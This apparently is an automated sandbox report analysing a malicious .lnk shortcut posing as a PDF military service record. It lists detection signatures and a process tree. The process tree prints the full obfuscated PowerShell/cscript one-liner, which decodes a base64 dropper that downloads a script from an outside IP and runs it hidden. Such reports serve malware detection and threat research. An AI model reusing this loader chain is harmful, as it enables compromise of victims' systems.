Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 19:48

General

  • Target
    VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
  • Size 106KB
  • Sample260819-yjgbysvtbz
  • SHA256 8b9db1f5256b949d00dea4610d64138c566dc5ada75cf8dffa7bbe764baa3508
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9raW5kbmVzc';$b='2ludGVyZmVyZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZW';$c='N0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs=';[IO.File]::WriteAllBytes('6N7r2.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b 6N7r2.js && del 6N7r2.js"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9raW5kbmVzc';$b='2ludGVyZmVyZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZW';$c='N0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs=';[IO.File]::WriteAllBytes('6N7r2.js',[Convert]::FromBase64String($a+$b+$c))"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1108
      • C:\Windows\system32\cscript.exe
        cscript //nologo //b 6N7r2.js
        3⤵
        • Badlisted process makes network request
        PID:4500

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        6N7r2.js

        • Path C:\Users\Admin\AppData\Local\Temp\6N7r2.js
        • Size 308B
        • SHA256 a58fdfd669b7270c5e976ba1e5c3fb252a227b39023d0479e5739d542c8d8ffe
        • MD5 SHA1 SHA512 TLSH

        memory/1108-0-0x00007FFA31B5F000-0x00007FFA31B60000-memory.dmp

        memory/1108-3-0x0000029D486C0000-0x0000029D486E2000-memory.dmp

        memory/1108-4-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

        memory/1108-7-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp

        memory/1108-8-0x00007FFA319D0000-0x00007FFA32374000-memory.dmp